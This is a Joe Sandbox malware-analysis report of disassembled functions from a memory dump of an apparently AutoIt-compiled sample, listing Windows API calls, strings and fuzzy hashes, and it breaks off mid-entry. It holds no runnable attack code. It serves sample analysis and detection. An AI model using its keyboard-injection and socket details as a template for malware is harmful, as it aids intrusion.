Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 83fc86babe32ed68f60b1ba980f811538dc144e4d0b609a704060375140db9f3
Instruction ID: 842a968555424fd92988a531e6820dadd6f0d839e45ecd916fc56ef827741b38
Opcode Fuzzy Hash: 83fc86babe32ed68f60b1ba980f811538dc144e4d0b609a704060375140db9f3
Instruction Fuzzy Hash: 7791D275A00209AFDB00DFA8D895BFEB7B5FF45326F104429ED10EB291D778A949CB90

Function 009F948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: df41a3d8b8caa9ea10ac9db2f22c926ccde857ab0226a1514403e5510ed916e2
Instruction ID: 996af1f710dfd2ef9d5e5490b7e328f2104ff25cfd68c3dc7f938e1b2efdce19
Opcode Fuzzy Hash: df41a3d8b8caa9ea10ac9db2f22c926ccde857ab0226a1514403e5510ed916e2
Instruction Fuzzy Hash: 17911671D04219EFCB14CFA9CC84AEEBBB8FF49320F148559EA15B7251D379A942CB60

Function 00A63947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A6396B
CharUpperBuffW.USER32(?,?), ref: 00A63A7A
_wcslen.LIBCMT ref: 00A63A8A
VariantClear.OLEAUT32(?), ref: 00A63C1F

Part of subcall function 00A50CDF: VariantInit.OLEAUT32(00000000), ref: 00A50D1F
Part of subcall function 00A50CDF: VariantCopy.OLEAUT32(?,?), ref: 00A50D28
Part of subcall function 00A50CDF: VariantClear.OLEAUT32(?), ref: 00A50D34

Strings

AUTOIT.ERROR, xrefs: 00A63A80, 00A63A85
Incorrect Parameter format, xrefs: 00A639A6, 00A63BA1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 3925ab6182ac9c09a8d231a16ce5b2de196f5f490f951799b0004a2d19640c91
Instruction ID: ddfe601ea0918b8784ee6004d7f92a87e0e33f59228e73aa40f660f74648ab24
Opcode Fuzzy Hash: 3925ab6182ac9c09a8d231a16ce5b2de196f5f490f951799b0004a2d19640c91
Instruction Fuzzy Hash: 289133766083459FCB00EF64C48096AB7F4BF89314F14882DF88A9B351DB31EE46CB82

Function 00A64BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00A4000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?,?,?,00A4035E), ref: 00A4002B
Part of subcall function 00A4000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?,?), ref: 00A40046
Part of subcall function 00A4000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?,?), ref: 00A40054
Part of subcall function 00A4000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00A3FF41,80070057,?), ref: 00A40064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00A64C51
_wcslen.LIBCMT ref: 00A64D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00A64DCF
CoTaskMemFree.OLE32(?), ref: 00A64DDA

Strings

NULL Pointer assignment, xrefs: 00A64E23, 00A64E52

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: b2044f9fd0404e3ec421273d04dd9b1001d0198a5670891cdebbf1f20f9a09c9
Instruction ID: dd7bbe9f0cb4220c8475492d2177236b08190e5ecf88ad7d5aa4baead8a099e3
Opcode Fuzzy Hash: b2044f9fd0404e3ec421273d04dd9b1001d0198a5670891cdebbf1f20f9a09c9
Instruction Fuzzy Hash: 32911571D00219EFDF15DFA4C891AEEB7B9BF48310F108169E915A7291EB34AE45CF60

Function 00A720FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00A72183
GetMenuItemCount.USER32(00000000), ref: 00A721B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00A721DD
_wcslen.LIBCMT ref: 00A72213
GetMenuItemID.USER32(?,?), ref: 00A7224D
GetSubMenu.USER32(?,?), ref: 00A7225B

Part of subcall function 00A43A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A43A57
Part of subcall function 00A43A3D: GetCurrentThreadId.KERNEL32 ref: 00A43A5E
Part of subcall function 00A43A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00A425B3), ref: 00A43A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A722E3

Part of subcall function 00A4E97B: Sleep.KERNELBASE ref: 00A4E9F3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: e69202fc8e04c0d8c895915dfdf231a5f76b87bb37ebb5df98cd199b88b216ff
Instruction ID: acd3e8552d386f321e266aece1d03de50fcdee2bdc25a7f3722dd21aa0fc62ae
Opcode Fuzzy Hash: e69202fc8e04c0d8c895915dfdf231a5f76b87bb37ebb5df98cd199b88b216ff
Instruction Fuzzy Hash: ED715E75A00205AFCB11DFA5CC85BAEB7B5BF88310F14C469E95AEB351D734ED428B90

Function 00A77E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(016D5428), ref: 00A77F37
IsWindowEnabled.USER32(016D5428), ref: 00A77F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00A7801E
SendMessageW.USER32(016D5428,000000B0,?,?), ref: 00A78051
IsDlgButtonChecked.USER32(?,?), ref: 00A78089
GetWindowLongW.USER32(016D5428,000000EC), ref: 00A780AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00A780C3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 69d38ee50fcdd81ebda1a6b0688e810c26b912dee3eae0b40481aa4e654273a4
Instruction ID: 56bb8e773715b7f634ee3f87f49d776b54c5ba113d0fc1103be3d9179e03abe0
Opcode Fuzzy Hash: 69d38ee50fcdd81ebda1a6b0688e810c26b912dee3eae0b40481aa4e654273a4
Instruction Fuzzy Hash: 68718C34648244AFEB21DF64CE94FAEBBB9EF49300F14C459E94997261CB35AC46DB20

Function 00A4AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00A4AEF9
GetKeyboardState.USER32(?), ref: 00A4AF0E
SetKeyboardState.USER32(?), ref: 00A4AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00A4AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00A4AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00A4AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00A4B020

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4bbdcc4e09801157d10678f99abbd6caa054a5e6c76c5e3ad220086489a6067c
Instruction ID: 28e18ebefac2154a062a26e386b661baf5fe7089258eeb6aec61190507c7611c
Opcode Fuzzy Hash: 4bbdcc4e09801157d10678f99abbd6caa054a5e6c76c5e3ad220086489a6067c
Instruction Fuzzy Hash: 6151D1A46547D53DFB3683388C45BBBBEE95B96304F088489E1E9458C2C3D8EDC8D761

Function 00A4ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00A4AD19
GetKeyboardState.USER32(?), ref: 00A4AD2E
SetKeyboardState.USER32(?), ref: 00A4AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00A4ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00A4ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00A4AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00A4AE38

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 52c7413be5dce405511f36e6e742cf924fc77564018aa0f2864e5d5e85bcd8f6
Instruction ID: 31e561e2cf8400b7ed2ccc7677d620fc0be5cedc846c6b44844485dfae2e68bc
Opcode Fuzzy Hash: 52c7413be5dce405511f36e6e742cf924fc77564018aa0f2864e5d5e85bcd8f6
Instruction Fuzzy Hash: A2510BA5A847E53DFB3783348C46B7A7E985F95300F08844CE1E5468C3D394ED84D762

Function 00A1542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00A23CD6,?,?,?,?,?,?,?,?,00A15BA3,?,?,00A23CD6,?,?), ref: 00A15470
__fassign.LIBCMT ref: 00A154EB
__fassign.LIBCMT ref: 00A15506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00A23CD6,00000005,00000000,00000000), ref: 00A1552C
WriteFile.KERNEL32(?,00A23CD6,00000000,00A15BA3,00000000,?,?,?,?,?,?,?,?,?,00A15BA3,?), ref: 00A1554B
WriteFile.KERNEL32(?,?,00000001,00A15BA3,00000000,?,?,?,?,?,?,?,?,?,00A15BA3,?), ref: 00A15584

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 5d8d17d06ae61d1f8b4a11d825673262b44bc129c0a4e085657e5fb5d78e5849
Instruction ID: fe76f0bff8d727a60f2ed7c0ac879b517c0b8eac465ea10d0f63afd25eb3b0f3
Opcode Fuzzy Hash: 5d8d17d06ae61d1f8b4a11d825673262b44bc129c0a4e085657e5fb5d78e5849
Instruction Fuzzy Hash: 48518F71E00649DFDB10CFB8D885AEEBBFAEF49310F14415AE555E7291D730AA81CB60

Function 00A02D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A02D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00A02D53
_ValidateLocalCookies.LIBCMT ref: 00A02DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00A02E0C
_ValidateLocalCookies.LIBCMT ref: 00A02E61

Strings

csm, xrefs: 00A02DF6

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 52e27469e56eb3c3217ae5f14f3a294b0d8d98385428cfe13f87a41d4397dbaa
Instruction ID: c2f344066ced0d3f1f390c91c3ed532d2893520a5a29129a854e025c545383cd
Opcode Fuzzy Hash: 52e27469e56eb3c3217ae5f14f3a294b0d8d98385428cfe13f87a41d4397dbaa
Instruction Fuzzy Hash: DE419034A0030DABDF10DF68E859B9EBBB5BF45324F148195E814AB3D2D731AE15CB90

Function 00A610B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A6304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A6307A
Part of subcall function 00A6304E: _wcslen.LIBCMT ref: 00A6309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00A61112
WSAGetLastError.WSOCK32 ref: 00A61121
WSAGetLastError.WSOCK32 ref: 00A611C9
closesocket.WSOCK32(00000000), ref: 00A611F9

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 47882dab93dc9b191f523cea8c3114e8f1a5aeab3890a14352414499e054ad26
Instruction ID: 8642c4355cb9d263681c154b0c88ad10aad69c45eddc6a571e1666d111e1fba3
Opcode Fuzzy Hash: 47882dab93dc9b191f523cea8c3114e8f1a5aeab3890a14352414499e054ad26
Instruction Fuzzy Hash: EF41F671600204AFDB10DF54CC84BA9BBF9EF46324F18815DF9199B291D774AD82CBE1

Function 00A4CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A4DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A4CF22,?), ref: 00A4DDFD

Part of subcall function 00A4DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A4CF22,?), ref: 00A4DE16

lstrcmpiW.KERNEL32(?,?), ref: 00A4CF45
MoveFileW.KERNEL32(?,?), ref: 00A4CF7F
_wcslen.LIBCMT ref: 00A4D005
_wcslen.LIBCMT ref: 00A4D01B
SHFileOperationW.SHELL32(?), ref: 00A4D061

Strings

\*.*, xrefs: 00A4CFF3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 2ff5d912519a0f2324f852b90660e0592fe38413eb4b486894be5328a3e41a9a
Instruction ID: 01f230290b38968d5c734d8d7361e2765ec4abb5f33a29551f53111c246097d2
Opcode Fuzzy Hash: 2ff5d912519a0f2324f852b90660e0592fe38413eb4b486894be5328a3e41a9a
Instruction Fuzzy Hash: E4418B7594621C5FDF52EFA4DE81ADD77B8AF48340F0000E6E509E7141EB34AB88CB50

Function 00A72DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00A72E1C
GetWindowLongW.USER32(?,000000F0), ref: 00A72E4F
GetWindowLongW.USER32(?,000000F0), ref: 00A72E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00A72EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00A72EE0
GetWindowLongW.USER32(?,000000F0), ref: 00A72EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A72F0B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 99612a35ee2508781ab12109d75790772704927ad367579e7bdefafc53b33d97
Instruction ID: 8d9f6151cb6756adee5674247e75b840c6e6e6410e060907b53d4b06f4621029
Opcode Fuzzy Hash: 99612a35ee2508781ab12109d75790772704927ad367579e7bdefafc53b33d97
Instruction Fuzzy Hash: D1313730644140AFEB20CF98DC94F653BE0FB8A721F159168F9488F2B2CB71AC81DB41

Function 00A47726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A47769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A4778F
SysAllocString.OLEAUT32(00000000), ref: 00A47792
SysAllocString.OLEAUT32(?), ref: 00A477B0
SysFreeString.OLEAUT32(?), ref: 00A477B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00A477DE
SysAllocString.OLEAUT32(?), ref: 00A477EC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: da43c42455ca85f415bc09b5891b7534a0682a6acb27ca4bb0b53158bbfe1b7b
Instruction ID: c8f941995343fa561f2ebb862ba412606f70a1b528a62b3fb85d9e5c30432d84
Opcode Fuzzy Hash: da43c42455ca85f415bc09b5891b7534a0682a6acb27ca4bb0b53158bbfe1b7b
Instruction Fuzzy Hash: 5721B27A604219AFDB10DFA8CC88DBF77ACEB493647408029FA15DB150D770DC8287A0

Function 00A477FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A47842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A47868
SysAllocString.OLEAUT32(00000000), ref: 00A4786B
SysAllocString.OLEAUT32 ref: 00A4788C
SysFreeString.OLEAUT32 ref: 00A47895
StringFromGUID2.OLE32(?,?,00000028), ref: 00A478AF
SysAllocString.OLEAUT32(?), ref: 00A478BD

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 5221ceefd9046e3515b92002a9181d58d576f89bce926d34aeaaa0ad72f0536e
Instruction ID: 82e8e3b100cdb72370bce04948fd61bc785e75871b4c73d4e4d57c1665292b2a
Opcode Fuzzy Hash: 5221ceefd9046e3515b92002a9181d58d576f89bce926d34aeaaa0ad72f0536e
Instruction Fuzzy Hash: 1E213E76608204AFDB109BE8DC9CDAA77ACEB497607108125B915DB2A1D774DC81CB64

Function 00A504D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00A504F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A5052E

Strings

nul, xrefs: 00A50567

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: e4c86bbd0a32f488158690039c1f4a846538a83d37faefffcd4aeb0e034ccd9d
Instruction ID: 36a2778513c938689fa0b07ee0dfa7bad20aa975dfac8437089fb5211ab0f85e
Opcode Fuzzy Hash: e4c86bbd0a32f488158690039c1f4a846538a83d37faefffcd4aeb0e034ccd9d
Instruction Fuzzy Hash: D8219FB1500305AFDB209F69DC04E9A7BB4BF54726F208A19FCA1E72E0E7709949CF20

Function 00A505A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00A505C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A50601

Strings

